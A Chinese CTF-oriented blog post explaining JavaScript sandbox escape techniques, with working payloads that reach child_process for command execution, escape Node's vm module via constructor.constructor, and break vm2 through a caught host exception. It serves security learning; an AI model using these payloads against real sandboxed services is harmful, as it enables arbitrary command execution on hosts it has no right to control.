ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

JavaScript沙箱逃逸

2026-4-25 21:52:00
# javascript

RCE

js与php类似,执行命令需要使用执行函数,常用的有

eval("js代码"); // 执行js代码
setTimeout("js代码", 延迟时间); // 延迟执行js代码
setInterval("js代码", 间隔时间); // 每隔一段时间执行js代码
Function("console.log('HelloWolrd')")(); // 通过Function构造函数创建一个新的函数并执行

一般执行RCE需要我们使用child_process模块下的exec函数,它会调用bash执行命令并返回结果

require('child_process').exec('code').toString();

由于exec调用的是shell,回显结果默认为buffer二进制流,需要使用toString()方法将其转换为字符串格式

关于toString()还有以下用法:

num.toString(16) 进制转化

const fruits = ["苹果", "香蕉", "橙子"];
console.log(fruits.toString()); // 输出: "苹果,香蕉,橙子"

需要注意的是js默认输出编码为utf-8,而中文系统CLI默认编码为gbk,需要使用iconv-lite模块进行编码转换

(function(args){ 
    const buf = require('child_process').execSync(args); 
    console.log(require('iconv-lite').decode(buf, 'cp936')); 
})('dir');

.exec和.execSync的区别在于前者是异步执行,后者是同步执行。execSync会阻塞代码执行直到命令执行完成并返回结果

有时候会ban你require的使用。在这种情况下,我们需要跳出当前环境

process.mainModule.require('child_process').exec('code');

process是当前js进程的全局对象,mainModule指向该对象主模块,这是底层原生的

但通常沙箱环境的上下文process也不会去给。这里我们又要运用到js原型的知识

const process = {}.constructor.constructor('return process')();
const result = process.mainModule.require('child_process').execSync('dir').toString();
console.log(result);

{}指代对象(也可以换成[],"")。他的上一层是Object,而Object的上一层是Function。Function是构造js底层的构造函数,我们让他把process返回出来

再探究底层一点,其实MainModule也有原型:Module类。内部有私有方法_load(),require()本质上也是调用这个方法使用的

process.mainModule.constructor._load('child_process').exec('calc')

vm沙箱逃逸

  • vm
    刚刚提到了上下文(context),就是vm模块的作用环境,这里用简单的代码演示context如何运作
const vm = require('vm');
const context = { x: 1 }; //上下文把变量x设置为1
vm.createContext(context); // 创建一个新的上下文
vm.runInContext('x += 1; var y = 2;', context); // 在上下文中运行代码
console.log(context.x); // 输出: 2
console.log(context.y); // 输出: 2

而vm沙箱默认将context置空,导致其无法访问全局对象和模块,无法直接调用require等函数。

const vm = require("vm");
// const context = {};
vm.createContext(context);
const xyz = vm.runInNewContext(`...`);
console.log(xyz);

注意这里的context,在沙箱里其实也算作一个对象。而沙箱里的this也是指代该对象。所以rce的payload也可以这么写

const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()

同样适用的还有第三方库safe-eval(version<0.4.0)

  • vm2
    vm2是一个第三方模块,相当于vm的升级版,内部采用了proxy来进行控制访问。proxy是js的一个内置对象,可以用来定义基本操作的自定义行为,比如属性查找、赋值、枚举、函数调用等

这时候再写this.constructor就不行了,因为vm2默认会给context设置了proxy过滤了此操作

不过vm2百密一疏,它捕获的error对象是不被包括在沙盒内的。我们可以用try...catch捕获error对象,并从中获取到全局对象

try {
    this.process.removeListener(); 
    // removeListener()必须要传参,否则会抛出异常
} 
catch (host_exception) {
    console.log('host exception: ' + host_exception.toString());
    host_constructor = host_exception.constructor.constructor;
    host_process = host_constructor('return this.process')();
    child_process = host_process.mainModule.require("child_process");
    console.log(child_process.execSync("whoami").toString());
}
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Java反序列化-基础部分

2026-3-31 09:00:00

Table of Contents